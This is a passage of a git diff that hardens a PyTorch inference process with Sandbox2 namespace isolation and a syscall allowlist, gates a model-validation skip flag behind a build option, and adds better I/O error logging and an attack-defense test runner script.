boost::program_options::command_line_parser(argc, argv) + .options(desc) + .run(); + boost::program_options::store(parsed, vm); + } if (vm.count("help") > 0) { std::cerr << desc << std::endl; @@ -150,9 +168,11 @@ bool CCmdLineParser::parse(int argc, return false; } } +#ifdef ML_ALLOW_SKIP_MODEL_VALIDATION if (vm.count("skipModelValidation") > 0) { skipModelValidation = true; } +#endif } catch (std::exception& e) { std::cerr << "Error processing command line: " << e.what() << std::endl; return false; diff --git a/bin/pytorch_inference/CMakeLists.txt b/bin/pytorch_inference/CMakeLists.txt index 5e565caa05..a641f8a45e 100644 --- a/bin/pytorch_inference/CMakeLists.txt +++ b/bin/pytorch_inference/CMakeLists.txt @@ -41,4 +41,11 @@ ml_add_executable(pytorch_inference CThreadSettings.cc ) +if(ML_ALLOW_SKIP_MODEL_VALIDATION) + target_compile_definitions(pytorch_inference PRIVATE ML_ALLOW_SKIP_MODEL_VALIDATION) + if(TARGET Mlpytorch_inference) + target_compile_definitions(Mlpytorch_inference PRIVATE ML_ALLOW_SKIP_MODEL_VALIDATION) + endif() +endif() + ml_codesign(pytorch_inference) diff --git a/bin/pytorch_inference/Main.cc b/bin/pytorch_inference/Main.cc index 4aaca00499..b5aef0d732 100644 --- a/bin/pytorch_inference/Main.cc +++ b/bin/pytorch_inference/Main.cc @@ -272,7 +272,20 @@ int main(int argc, char** argv) { // Reduce memory priority before installing system call filters. ml::core::CProcessPriority::reduceMemoryPriority(); + +#if defined(__linux__) && !defined(SANDBOX2_DISABLED) && defined(SANDBOX2_AVAILABLE) + if (::getenv("ML_SANDBOXED") != nullptr) { + // When running under Sandbox2, syscall filtering is enforced at spawn time + // by the parent process. Installing seccomp here would be redundant. + LOG_DEBUG(<< "Skipping seccomp filter installation (using Sandbox2 policy)"); + } else { + ml::seccomp::CSystemCallFilter::installSystemCallFilter(); + } +#else + // For non-Linux platforms or when Sandbox2 is not available, + // fall back to seccomp filtering ml::seccomp::CSystemCallFilter::installSystemCallFilter(); +#endif if (ioMgr.initIo() == false) { LOG_FATAL(<< "Failed to initialise IO"); @@ -316,12 +329,16 @@ int main(int argc, char** argv) { return EXIT_FAILURE; } module_ = torch::jit::load(std::move(readAdapter)); +#ifdef ML_ALLOW_SKIP_MODEL_VALIDATION if (skipModelValidation) { LOG_WARN(<< "Model graph validation SKIPPED — --skipModelValidation flag is set. " << "This disables security checks on model operations."); } else { verifySafeModel(module_); } +#else + verifySafeModel(module_); +#endif module_.eval(); LOG_DEBUG(<< "model loaded"); diff --git a/bin/pytorch_inference/unittest/CMakeLists.txt b/bin/pytorch_inference/unittest/CMakeLists.txt index fe3c544a55..18cc0d8d68 100644 --- a/bin/pytorch_inference/unittest/CMakeLists.txt +++ b/bin/pytorch_inference/unittest/CMakeLists.txt @@ -31,7 +31,7 @@ set(ML_LINK_LIBRARIES MlVer ${TORCH_LIB} ${C10_LIB} - ) +) ml_add_test_executable(pytorch_inference ${SRCS}) diff --git a/cmake/functions.cmake b/cmake/functions.cmake index 01502aaca4..b6475c22d8 100644 --- a/cmake/functions.cmake +++ b/cmake/functions.cmake @@ -133,8 +133,6 @@ function(ml_add_non_distributed_library _target _type) add_library(${_target} ${_type} EXCLUDE_FROM_ALL ${PLATFORM_SRCS}) - set_property(TARGET ${_target} PROPERTY POSITION_INDEPENDENT_CODE TRUE) - if(ML_LINK_LIBRARIES) target_link_libraries(${_target} PUBLIC ${ML_LINK_LIBRARIES}) endif() diff --git a/cmake/variables.cmake b/cmake/variables.cmake index afd4cca0ef..9d2408d8c3 100644 --- a/cmake/variables.cmake +++ b/cmake/variables.cmake @@ -123,6 +123,13 @@ if (CMAKE_SYSTEM_NAME STREQUAL "Windows") set(STRPTIME_LIB "${ML_BASE_PATH}/lib/strptime${ML_LIBEXT}") endif() +# Sandbox2 libraries for Linux only +# Set in 3rd_party/CMakeLists.txt after sandboxed-api is fetched and configured +# If not set, default to empty (Sandbox2 not available) +if (NOT DEFINED SANDBOX2_LIBRARIES) + set(SANDBOX2_LIBRARIES "") +endif() + if (CMAKE_SYSTEM_NAME STREQUAL "Darwin") if (CMAKE_CROSSCOMPILING) @@ -221,6 +228,7 @@ if("$ENV{ML_DEBUG}") endif() option(ML_FAST_DEBUG "Use reduced debug info (-g1) and exclude trace logging for faster Debug builds. Intended for CI; local developers should leave this OFF." OFF) +option(ML_ALLOW_SKIP_MODEL_VALIDATION "Allow --skipModelValidation on pytorch_inference (dev/test builds only)" OFF) if(ML_FAST_DEBUG AND CMAKE_BUILD_TYPE STREQUAL "Debug") if(CMAKE_SYSTEM_NAME STREQUAL "Linux" OR CMAKE_SYSTEM_NAME STREQUAL "Darwin") set(CMAKE_CXX_FLAGS_DEBUG "-g1 -DEXCLUDE_TRACE_LOGGING") diff --git a/dev-tools/docker/docker_entrypoint.sh b/dev-tools/docker/docker_entrypoint.sh index 8653f67427..5527017556 100755 --- a/dev-tools/docker/docker_entrypoint.sh +++ b/dev-tools/docker/docker_entrypoint.sh @@ -107,6 +107,10 @@ elif [ "x$1" = "x--test" ] ; then echo failed > build/test_status.txt else cmake -DSOURCE_DIR="$CPP_SRC_HOME" -DBUILD_DIR="$CPP_SRC_HOME/cmake-build-docker" -P cmake/run-all-tests-parallel.cmake || echo failed > build/test_status.txt + if [ "$(uname -s)" = "Linux" ]; then + chmod +x ./dev-tools/run_sandbox2_attack_defense.sh + ./dev-tools/run_sandbox2_attack_defense.sh || echo failed > build/test_status.txt + fi fi fi diff --git a/dev-tools/run_sandbox2_attack_defense.sh b/dev-tools/run_sandbox2_attack_defense.sh new file mode 100755 index 0000000000..62226fc721 --- /dev/null +++ b/dev-tools/run_sandbox2_attack_defense.sh @@ -0,0 +1,37 @@ +#!/bin/bash +# +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0 and the following additional limitation. Functionality enabled by the +# files subject to the Elastic License 2.0 may only be used in production when +# invoked by an Elasticsearch process with a license key installed that permits +# use of machine learning features. You may not use this file except in +# compliance with the Elastic License 2.0 and the foregoing additional +# limitation. +# +# Run the Sandbox2 attack-defense integration test against freshly built +# controller and pytorch_inference binaries. Linux only. + +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +ROOT="$(cd "$SCRIPT_DIR/.." && pwd)" + +if [ "$(uname -s)" != "Linux" ]; then + echo "Sandbox2 attack-defense test is Linux-only; skipping" + exit 0 +fi + +if [ ! -e /proc/sys/kernel/unprivileged_userns_clone ] && [ "$(id -u)" -ne 0 ]; then + echo "Skipping Sandbox2 attack-defense test: user namespaces not available" + exit 0 +fi + +cd "$ROOT" + +if ! command -v python3 >/dev/null 2>&1; then + echo "python3 is required to run Sandbox2 attack-defense tests" >&2 + exit 1 +fi + +exec python3 "$ROOT/test/test_sandbox2_attack_defense.py" "$@" diff --git a/docs/CHANGELOG.asciidoc b/docs/CHANGELOG.asciidoc index e66c892e42..e64e6d09c5 100644 --- a/docs/CHANGELOG.asciidoc +++ b/docs/CHANGELOG.asciidoc @@ -36,6 +36,7 @@ === Enhancements +* Use Sandbox2 to enhance PyTorch inference security. (See {ml-pull}2873[#2873].) * Harden pytorch_inference with TorchScript model graph validation. (See {ml-pull}3008[#3008].) * Better handling of invalid JSON state documents (See {ml-pull}[]#2895].) * Better error handling regarding quantiles state documents (See {ml-pull}[#2894]) diff --git a/docs/changelog/2873.yaml b/docs/changelog/2873.yaml new file mode 100644 index 0000000000..86847e0485 --- /dev/null +++ b/docs/changelog/2873.yaml @@ -0,0 +1,6 @@ +area: Machine Learning +issues: [] +pr: 2873 +summary: >- + Add Sandbox2 namespace and seccomp isolation for PyTorch inference processes +type: enhancement diff --git a/lib/api/CIoManager.cc b/lib/api/CIoManager.cc index cc4517fe60..d87b82d744 100644 --- a/lib/api/CIoManager.cc +++ b/lib/api/CIoManager.cc @@ -26,7 +26,8 @@ namespace { bool setUpIStream(const std::string& fileName, bool isFileNamedPipe, core::CBlockingCallCancellerThread& cancellerThread, - core::CNamedPipeFactory::TIStreamP& stream) { + core::CNamedPipeFactory::TIStreamP& stream, + const std::string& pipeType) { if (fileName.empty()) { stream.reset(); return true; @@ -37,17 +38,30 @@ bool setUpIStream(const std::string& fileName, stream = core::CNamedPipeFactory::openPipeStreamRead( fileName, cancellerThread.hasCancelledBlockingCall()); cancellerThread.stop(); - return stream != nullptr && !stream->bad(); + if (stream == nullptr) { + LOG_ERROR(<< "Failed to open " << pipeType << " pipe for reading: " << fileName); + return false; + } + if (stream->bad()) { + LOG_ERROR(<< pipeType << " pipe stream is bad after opening: " << fileName); + return false; + } + return true; } std::ifstream* fileStream{nullptr}; stream.reset(fileStream = new std::ifstream(fileName, std::ios::binary | std::ios::in)); - return fileStream->is_open(); + if (!fileStream->is_open()) { + LOG_ERROR(<< "Failed to open " << pipeType << " file for reading: " << fileName); + return false; + } + return true; } bool setUpOStream(const std::string& fileName, bool isFileNamedPipe, core::CBlockingCallCancellerThread& cancellerThread, - core::CNamedPipeFactory::TOStreamP& stream) { + core::CNamedPipeFactory::TOStreamP& stream, + const std::string& pipeType) { if (fileName.empty()) { stream.reset(); return true; @@ -58,11 +72,23 @@ bool setUpOStream(const std::string& fileName, stream = core::CNamedPipeFactory::openPipeStreamWrite( fileName, cancellerThread.hasCancelledBlockingCall()); cancellerThread.stop(); - return stream != nullptr && !stream->bad(); + if (stream == nullptr) { + LOG_ERROR(<< "Failed to open " << pipeType << " pipe for writing: " << fileName); + return false; + } + if (stream->bad()) { + LOG_ERROR(<< pipeType << " pipe stream is bad after opening: " << fileName); + return false; + } + return true; } std::ofstream* fileStream{nullptr}; stream.reset(fileStream = new std::ofstream(fileName, std::ios::binary | std::ios::out)); - return fileStream->is_open(); + if (!fileStream->is_open()) { + LOG_ERROR(<< "Failed to open " << pipeType << " file for writing: " << fileName); + return false; + } + return true; } } @@ -102,15 +128,36 @@ CIoManager::~CIoManager() { } bool CIoManager::initIo() { - m_IoInitialised = setUpIStream(m_InputFileName, m_IsInputFileNamedPipe, - m_CancellerThread, m_InputStream) && - setUpOStream(m_OutputFileName, m_IsOutputFileNamedPipe, - m_CancellerThread, m_OutputStream) && - setUpIStream(m_RestoreFileName, m_IsRestoreFileNamedPipe, - m_CancellerThread, m_RestoreStream) && - setUpOStream(m_PersistFileName, m_IsPersistFileNamedPipe, - m_CancellerThread, m_PersistStream); - return m_IoInitialised; + if (!setUpIStream(m_InputFileName, m_IsInputFileNamedPipe, + m_CancellerThread, m_InputStream, "input")) { + LOG_ERROR(<< "Failed to set up input stream"); + m_IoInitialised = false; + return false; + } + + if (!setUpOStream(m_OutputFileName, m_IsOutputFileNamedPipe, + m_CancellerThread, m_OutputStream, "output")) { + LOG_ERROR(<< "Failed to set up output stream"); + m_IoInitialised = false; + return false; + } + + if (!setUpIStream(m_RestoreFileName, m_IsRestoreFileNamedPipe, + m_CancellerThread, m_RestoreStream, "restore")) { + LOG_ERROR(<< "Failed to set up restore stream"); + m_IoInitialised = false; + return false; + } + + if (!setUpOStream(m_PersistFileName, m_IsPersistFileNamedPipe, + m_CancellerThread, m_PersistStream, "persist")) { + LOG_ERROR(<< "Failed to set up persist stream"); + m_IoInitialised = false; + return false; + } + + m_IoInitialised = true; + return true; } std::istream& CIoManager::inputStream() { diff --git a/lib/core/CDetachedProcessSpawner.cc b/lib/core/CDetachedProcessSpawner.cc index 795fc9e56e..29a8676505 100644 --- a/lib/core/CDetachedProcessSpawner.cc +++ b/lib/core/CDetachedProcessSpawner.cc @@ -165,55 +165,57 @@ class CTrackerThread : public CThread { //! Reap zombie child processes and adjust the set of live child PIDs //! accordingly. MUST be called with m_Mutex locked. void checkForDeadChildren() { - int status = 0; - for (;;) { - CProcess::TPid pid = ::waitpid(-1, &status, WNOHANG); - // 0 means there are child processes but none have died - if (pid == 0) { - break; + TPidSet pidsCopy{m_Pids}; + for (CProcess::TPid pid : pidsCopy) { + int status = 0; + CProcess::TPid waited = ::waitpid(pid, &status, WNOHANG); + if (waited == 0) { + continue; } - // -1 means error - if (pid == -1) { - if (errno != EINTR) { - break; + if (waited == -1) { + if (errno == EINTR) { + continue; + } + if (errno == ECHILD) { + m_Pids.erase(pid); + } + continue; + } + if (WIFSIGNALED(status)) { + int signal = WTERMSIG(status); + if (signal == SIGTERM) { + // We expect this when a job is force-closed, so log + // at a lower level + LOG_INFO(<< "Child process with PID " << pid + << " was terminated by signal " << signal); + } else if (signal == SIGKILL) { + // This should never happen if the system is working + // normally - possible reasons are the Linux OOM + // killer or manual intervention. The latter is highly unlikely + // if running in the cloud. + LOG_ERROR(<< "Child process with PID " << pid << " was terminated by signal 9 (SIGKILL)." + << " This is likely due to the OOM killer." + << " Please check system logs for more details."); + } else { + // This should never happen if the system is working + // normally - possible reasons are bugs that cause + // access violations or manual intervention. The latter is highly unlikely + // if running in the cloud. + LOG_ERROR(<< "Child process with PID " << pid + << " was terminated by signal " << signal + << " Please check system logs for more details."); } } else { - if (WIFSIGNALED(status)) { - int signal = WTERMSIG(status); - if (signal == SIGTERM) { - // We expect this when a job is force-closed, so log - // at a lower level - LOG_INFO(<< "Child process with PID " << pid - << " was terminated by signal " << signal); - } else if (signal == SIGKILL) { - // This should never happen if the system is working - // normally - possible reasons are the Linux OOM - // killer or manual intervention. The latter is highly unlikely - // if running in the cloud. - LOG_ERROR(<< "Child process with PID " << pid << " was terminated by signal 9 (SIGKILL)." - << " This is likely due to the OOM killer." - << " Please check system logs for more details."); - } else { - // This should never happen if the system is working - // normally - possible reasons are bugs that cause - // access violations or manual intervention. The latter is highly unlikely - // if running in the cloud. - LOG_ERROR(<< "Child process with PID " << pid - << " was terminated by signal " << signal - << " Please check system logs for more details."); - } + int exitCode = WEXITSTATUS(status); + if (exitCode == 0) { + // This is the happy case + LOG_DEBUG(<< "Child process with PID " << pid << " has exited"); } else { - int exitCode = WEXITSTATUS(status); - if (exitCode == 0) { - // This is the happy case - LOG_DEBUG(<< "Child process with PID " << pid << " has exited"); - } else { - LOG_WARN(<< "Child process with PID " << pid - << " has exited with exit code " << exitCode); - } + LOG_WARN(<< "Child process with PID " << pid + << " has exited with exit code " << exitCode); } - m_Pids.erase(pid); } + m_Pids.erase(pid); } } diff --git a/lib/core/CDetachedProcessSpawner_Linux.cc b/lib/core/CDetachedProcessSpawner_Linux.cc new file mode 100644 index 0000000000..1bbdaec23e --- /dev/null +++ b/lib/core/CDetachedProcessSpawner_Linux.cc @@ -0,0 +1,719 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the following additional limitation. Functionality enabled by the + * files subject to the Elastic License 2.0 may only be used in production when + * invoked by an Elasticsearch process with a license key installed that permits + * use of machine learning features. You may not use this file except in + * compliance with the Elastic License 2.0 and the foregoing additional + * limitation. + */ +#include + +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +extern char** environ; + +#ifdef SANDBOX2_AVAILABLE +#include + +#include +#include +#include +#include +#include + +// The CentOS 7 based CI build image has kernel headers that predate clone3, so +// __NR_clone3 may be undefined at build time even though the runtime glibc uses +// clone3. clone3 is syscall 435 on every architecture we build for (x86_64 and +// aarch64), so fall back to that literal to keep the sandbox policy independent +// of the build image's header version. +#ifdef __NR_clone3 +#define ML_NR_clone3 __NR_clone3 +#else +#define ML_NR_clone3 435 +#endif +#endif + +namespace { + +const int MAX_NEW_OPEN_FILES{10}; + +//! Minimal RAII scope guard that runs a callable when it goes out of scope. +//! Used to guarantee the controller's global TMPDIR is restored on every exit +//! path of the sandboxed spawn. +template +class CScopeExit { +public: + explicit CScopeExit(FUNC func) : m_Func(std::move(func)) {} + ~CScopeExit() { m_Func(); } + CScopeExit(const CScopeExit&) = delete; + CScopeExit& operator=(const CScopeExit&) = delete; + +private: + FUNC m_Func; +}; + +template +CScopeExit makeScopeExit(FUNC func) { + return CScopeExit{std::move(func)}; +} + +//! Attempt to close all file descriptors except the standard ones. The +//! standard file descriptors will be reopened on /dev/null in the spawned +//! process. Returns false if the actions cannot be initialised. +bool setupFileActions(posix_spawn_file_actions_t* fileActions, int& maxFdHint) { + if (::posix_spawn_file_actions_init(fileActions) != 0) { + return false; + } + + struct rlimit rlim; + ::memset(&rlim, 0, sizeof(struct rlimit)); + if (::getrlimit(RLIMIT_NOFILE, &rlim) != 0) { + rlim.rlim_cur = 36; + } + + int maxFdToTest{std::min(static_cast(rlim.rlim_cur), maxFdHint + MAX_NEW_OPEN_FILES)}; + for (int fd = 0; fd <= maxFdToTest; ++fd) { + if (fd == STDIN_FILENO) { + ::posix_spawn_file_actions_addopen(fileActions, fd, "/dev/null", O_RDONLY, S_IRUSR); + maxFdHint = fd; + } else if (fd == STDOUT_FILENO || fd == STDERR_FILENO) { + ::posix_spawn_file_actions_addopen(fileActions, fd, "/dev/null", O_WRONLY, S_IWUSR); + maxFdHint = fd; + } else { + if (::fcntl(fd, F_GETFL) != -1) { + ::posix_spawn_file_actions_addclose(fileActions, fd); + maxFdHint = fd; + } + } + } + + return true; +} +} + +namespace ml { +namespace core { + +namespace detail { + +class CTrackerThread : public CThread { +public: + using TPidSet = std::set; + + CTrackerThread() : m_Shutdown(false), m_Condition(m_Mutex) {} + + CMutex& mutex() { return m_Mutex; } + + void addPid(CProcess::TPid pid) { + CScopedLock lock(m_Mutex); + m_Pids.insert(pid); + m_Condition.signal(); + } + + void addSandboxPid(CProcess::TPid pid) { + CScopedLock lock(m_Mutex); + m_SandboxPids.insert(pid); + m_Condition.signal(); + } + + void removePid(CProcess::TPid pid) { + CScopedLock lock(m_Mutex); + m_Pids.erase(pid); + m_SandboxPids.erase(pid); + } + + bool terminatePid(CProcess::TPid pid) { + if (!this->havePid(pid)) { + LOG_ERROR(<< "Will not attempt to kill process " << pid << ": not a child process"); + return false; + } + + if (::kill(pid, SIGTERM) == -1) { + if (errno != ESRCH) { + LOG_ERROR(<< "Failed to kill process " << pid << ": " << ::strerror(errno)); + } + return false; + } + + return true; + } + + bool havePid(CProcess::TPid pid) const { + if (pid <= 0) { + return false; + } + + CScopedLock lock(m_Mutex); + const_cast(this)->checkForDeadChildren(); + return m_Pids.find(pid) != m_Pids.end() || + m_SandboxPids.find(pid) != m_SandboxPids.end(); + } + +protected: + void run() override { + CScopedLock lock(m_Mutex); + + while (!m_Shutdown) { + if (m_Pids.empty()) { + m_Condition.wait(); + } else { + m_Condition.wait(50); + } + + this->checkForDeadChildren(); + } + } + + void shutdown() override { + CScopedLock lock(m_Mutex); + m_Shutdown = true; + m_Condition.signal(); + } + +private: + void checkForDeadChildren() { + TPidSet pidsCopy{m_Pids}; + for (CProcess::TPid pid : pidsCopy) { + int status = 0; + CProcess::TPid waited = ::waitpid(pid, &status, WNOHANG); + if (waited == 0) { + continue; + } + if (waited == -1) { + if (errno == EINTR) { + continue; + } + if (errno == ECHILD) { + m_Pids.erase(pid); + } + continue; + } + if (WIFSIGNALED(status)) { + int signal = WTERMSIG(status); + if (signal == SIGTERM) { + LOG_INFO(<< "Child process with PID " << pid + << " was terminated by signal " << signal); + } else if (signal == SIGKILL) { + LOG_ERROR(<< "Child process with PID " << pid << " was terminated by signal 9 (SIGKILL)." + << " This is likely due to the OOM killer."); + } else { + LOG_ERROR(<< "Child process with PID " << pid + << " was terminated by signal " << signal); + } + } else { + int exitCode = WEXITSTATUS(status); + if (exitCode == 0) { + LOG_DEBUG(<< "Child process with PID " << pid << " has exited"); + } else { + LOG_WARN(<< "Child process with PID " << pid + << " has exited with exit code " << exitCode); + } + } + m_Pids.erase(pid); + } + } + +private: + bool m_Shutdown; + TPidSet m_Pids; + TPidSet m_SandboxPids; + mutable CMutex m_Mutex; + CCondition m_Condition; +}; +} + +CDetachedProcessSpawner::CDetachedProcessSpawner(const TStrVec& permittedProcessPaths) + : m_PermittedProcessPaths(permittedProcessPaths), + m_TrackerThread(std::make_shared()) { + if (m_TrackerThread->start() == false) { + LOG_ERROR(<< "Failed to start spawned process tracker thread"); + } +} + +CDetachedProcessSpawner::~CDetachedProcessSpawner() { + if (m_TrackerThread->stop() == false) { + LOG_ERROR(<< "Failed to stop spawned process tracker thread"); + } +} + +bool CDetachedProcessSpawner::spawn(const std::string& processPath, const TStrVec& args) { + CProcess::TPid dummy(0); + return this->spawn(processPath, args, dummy); +} + +bool CDetachedProcessSpawner::spawn(const std::string& processPath, + const TStrVec& args, + CProcess::TPid& childPid) { + // Authorization gate: only exact permitted paths may be spawned, whether or + // not they are routed through Sandbox2. Must run before any dispatch so a + // path merely containing "pytorch_inference" cannot bypass the allowlist. + if (std::find(m_PermittedProcessPaths.begin(), m_PermittedProcessPaths.end(), + processPath) == m_PermittedProcessPaths.end()) { + LOG_ERROR(<< "Spawning process '" << processPath << "' is not permitted"); + return false; + } + +#ifdef __linux__ + // Use Sandbox2 for pytorch_inference to provide security isolation + if (processPath.find("pytorch_inference") != std::string::npos) { +#ifdef SANDBOX2_AVAILABLE + // Save original TMPDIR to restore for the sandboxed process + std::string originalTmpdir; + const char* tmpdir = ::getenv("TMPDIR"); + if (tmpdir != nullptr) { + originalTmpdir = tmpdir; + } + + // Sandbox2 forkserver uses Unix sockets with 108 char path limit + bool tmpdirOverridden{false}; + if (tmpdir != nullptr && ::strlen(tmpdir) > 80) { + LOG_WARN(<< "TMPDIR path too long, temporarily overriding to /tmp for forkserver"); + ::setenv("TMPDIR", "/tmp", 1); + tmpdirOverridden = true; + } + + // Restore the controller's global TMPDIR on every exit path. The + // override above must remain in effect until the Sandbox2 forkserver has + // started (it derives its Unix socket path from TMPDIR), but leaving the + // controller's environment mutated corrupts subsequent spawns: they would + // observe the short /tmp value, skip the per-process TMPDIR restoration + // below, and launch pytorch_inference with the wrong TMPDIR. + auto tmpdirRestorer = makeScopeExit([tmpdirOverridden, &originalTmpdir]() { + if (tmpdirOverridden) { + ::setenv("TMPDIR", originalTmpdir.c_str(), 1); + } + }); + + // Resolve to absolute path - Sandbox2 requires absolute paths + char resolvedPath[PATH_MAX]; + if (::realpath(processPath.c_str(), resolvedPath) == nullptr) { + LOG_ERROR(<< "Cannot resolve path " << processPath << ": " << ::strerror(errno)); + return false; + } + std::string absPath(resolvedPath); + + // Verify binary exists and is accessible + struct stat binaryStat; + if (::stat(absPath.c_str(), &binaryStat) != 0) { + LOG_ERROR(<< "Cannot stat " << absPath << ": " << ::strerror(errno)); + return false; + } + + // Build argument vector + std::vector fullArgs; + fullArgs.reserve(args.size() + 1); + fullArgs.push_back(processPath); + for (const auto& arg : args) { + fullArgs.push_back(arg); + } + + // Get binary and library directories + std::string binDir = absPath.substr(0, absPath.rfind('/')); + std::string libDir = binDir.substr(0, binDir.rfind('/')) + "/lib"; + + // Extract directories from command-line arguments for pipe paths + std::set argDirs; + for (const auto& arg : args) { + size_t eqPos = arg.find('='); + if (eqPos != std::string::npos && eqPos + 1 < arg.size() && + arg[eqPos + 1] == '/') { + std::string path = arg.substr(eqPos + 1); + size_t lastSlash = path.rfind('/'); + if (lastSlash != std::string::npos && lastSlash > 0) { + std::string dir = path.substr(0, lastSlash); + char resolved[PATH_MAX]; + std::string canonical = + ::realpath(dir.c_str(), resolved) != nullptr ? resolved : dir; + // Bind-mount the canonical directory, and also the literal + // path the sandboxee actually passes to mkfifo()/open() if it + // differs (e.g. a symlinked path component). If only the + // canonical path is mounted, a mkfifo() against the literal + // path inside the mount namespace can land in the sandbox's + // throw-away rootfs instead of the host directory that + // Elasticsearch is watching, so the FIFO never becomes visible + // and the connection times out. + argDirs.insert(canonical); + struct stat dirStat; + if (dir != canonical && ::stat(dir.c_str(), &dirStat) == 0) { + argDirs.insert(dir); + } + } + } + } + + // Build sandbox policy + sandbox2::PolicyBuilder policyBuilder; + policyBuilder.AllowDynamicStartup() + .AllowOpen() + .AllowRead() + .AllowWrite() + .AllowExit() + .AllowStat() + .AllowGetPIDs() + .AllowGetRandom() + .AllowHandleSignals() + .AllowTcMalloc() + .AllowMmap() + // glibc/libtorch use futex for mutexes and condition variables. Only + // FUTEX_WAIT and FUTEX_WAKE are insufficient under sustained concurrent + // load: timed waits use FUTEX_WAIT_BITSET and some broadcast/requeue + // paths use FUTEX_CMP_REQUEUE/FUTEX_WAKE_OP. Denying those ops is a + // Sandbox2 policy VIOLATION (SIGSYS), which kills pytorch_inference and + // surfaces as "Unexpected end of file" in Elasticsearch. PI futex ops + // are deliberately excluded — libtorch uses ordinary mutexes only. + .AllowFutexOp(FUTEX_WAIT) + .AllowFutexOp(FUTEX_WAKE) + .AllowFutexOp(FUTEX_WAIT_BITSET) + .AllowFutexOp(FUTEX_WAKE_BITSET) + .AllowFutexOp(FUTEX_REQUEUE) + .AllowFutexOp(FUTEX_CMP_REQUEUE) + .AllowFutexOp(FUTEX_WAKE_OP) + // Threading and scheduling + .AllowSyscall(__NR_sched_yield) + .AllowSyscall(__NR_sched_getaffinity) + .AllowSyscall(__NR_sched_setaffinity) + .AllowSyscall(__NR_sched_getparam) + .AllowSyscall(__NR_sched_getscheduler) + .AllowSyscall(__NR_clone) + // clone3 (syscall 435 on both x86_64 and aarch64) must be allowed by + // number rather than via __NR_clone3: the CentOS 7 based CI build + // image has kernel headers that predate clone3 and therefore leave + // __NR_clone3 undefined, yet the newer glibc on the CI runtime uses + // clone3 for thread creation. Without this, pytorch_inference is + // killed by a seccomp violation the moment libtorch spawns a thread, + // long before it can create its log FIFO. + .AllowSyscall(ML_NR_clone3) + .AllowSyscall(__NR_set_tid_address) + .AllowSyscall(__NR_set_robust_list) +#ifdef __NR_rseq + .AllowSyscall(__NR_rseq) +#endif + // Time operations + .AllowSyscall(__NR_clock_gettime) + .AllowSyscall(__NR_clock_getres) + .AllowSyscall(__NR_clock_nanosleep) + .AllowSyscall(__NR_gettimeofday) + .AllowSyscall(__NR_nanosleep) + .AllowSyscall(__NR_times) + // I/O multiplexing + .AllowSyscall(__NR_epoll_create1) + .AllowSyscall(__NR_epoll_ctl) + .AllowSyscall(__NR_epoll_pwait) + .AllowSyscall(__NR_eventfd2) + .AllowSyscall(__NR_ppoll) + .AllowSyscall(__NR_pselect6) + // File operations + .AllowSyscall(__NR_ioctl) + .AllowSyscall(__NR_fcntl) + .AllowSyscall(__NR_pipe2) + .AllowSyscall(__NR_dup) + .AllowSyscall(__NR_dup3) + .AllowSyscall(__NR_lseek) + .AllowSyscall(__NR_ftruncate) + .AllowSyscall(__NR_readlinkat) + .AllowSyscall(__NR_faccessat) + .AllowSyscall(__NR_getdents64) + .AllowSyscall(__NR_getcwd) + .AllowSyscall(__NR_unlinkat) + .AllowSyscall(__NR_renameat) + .AllowSyscall(__NR_mkdirat) + .AllowSyscall(__NR_mknodat) + // On some architectures (notably x86_64) glibc's file-system + // wrappers issue the legacy syscalls rather than their *at + // equivalents, e.g. mkfifo()->mknod, remove()/unlink()->unlink, + // mkdir()->mkdir. pytorch_inference creates and tears down its + // named pipes via these wrappers, so the legacy syscalls must be + // permitted too or the process is killed with SIGSYS the moment it + // touches a pipe. These syscalls do not exist on aarch64 (which is + // *at-only), hence the guards. They are exact equivalents of the + // *at syscalls already permitted above, so allowing them does not + // widen the policy. +#ifdef __NR_mknod + .AllowSyscall(__NR_mknod) +#endif +#ifdef __NR_unlink + .AllowSyscall(__NR_unlink) +#endif +#ifdef __NR_rmdir + .AllowSyscall(__NR_rmdir) +#endif +#ifdef __NR_mkdir + .AllowSyscall(__NR_mkdir) +#endif +#ifdef __NR_rename + .AllowSyscall(__NR_rename) +#endif +#ifdef __NR_readlink + .AllowSyscall(__NR_readlink) +#endif +#ifdef __NR_access + .AllowSyscall(__NR_access) +#endif +#ifdef __NR_dup2 + .AllowSyscall(__NR_dup2) +#endif + // Memory management + .AllowSyscall(__NR_mprotect) + .AllowSyscall(__NR_mremap) + .AllowSyscall(__NR_madvise) + .AllowSyscall(__NR_munmap) + .AllowSyscall(__NR_brk) + // System info + .AllowSyscall(__NR_sysinfo) + .AllowSyscall(__NR_uname) + .AllowSyscall(__NR_prlimit64) + .AllowSyscall(__NR_getrusage) + // Process control + .AllowSyscall(__NR_prctl) +#ifdef __NR_arch_prctl + .AllowSyscall(__NR_arch_prctl) +#endif + .AllowSyscall(__NR_wait4) + .AllowSyscall(__NR_exit) + // User/group IDs + .AllowSyscall(__NR_getuid) + .AllowSyscall(__NR_getgid) + .AllowSyscall(__NR_geteuid) + .AllowSyscall(__NR_getegid) + // Process priority: pytorch_inference lowers its own nice value. + .AllowSyscall(__NR_setpriority) + .AllowSyscall(__NR_getpriority) + // Crash handler uses tgkill to re-raise fatal signals. + .AllowSyscall(__NR_tgkill) + // Misc runtime syscalls exercised by pytorch_inference / libtorch. + // These mirror the legacy CSystemCallFilter allowlist that ran the + // same binary successfully. + .AllowSyscall(__NR_statfs) + .AllowSyscall(__NR_connect) +#ifdef __NR_time + .AllowSyscall(__NR_time) +#endif +#ifdef __NR_getdents + .AllowSyscall(__NR_getdents) +#endif + // Filesystem mounts + .AddDirectory(binDir, /*is_ro=*/true) + .AddDirectory(libDir, /*is_ro=*/true) + .AddDirectory("/lib", /*is_ro=*/true) + .AddDirectory("/lib64", /*is_ro=*/true) + .AddDirectory("/usr/lib", /*is_ro=*/true) + .AddDirectory("/usr/lib64", /*is_ro=*/true) + .AddDirectory("/etc", /*is_ro=*/true) + .AddDirectory("/proc", /*is_ro=*/true) + .AddDirectory("/sys", /*is_ro=*/true) + .AddFile("/dev/null", /*is_ro=*/false) + .AddFile("/dev/urandom", /*is_ro=*/true) + .AddFile("/dev/random", /*is_ro=*/true) + .AddDirectory("/tmp", /*is_ro=*/false); + + // Add directories from 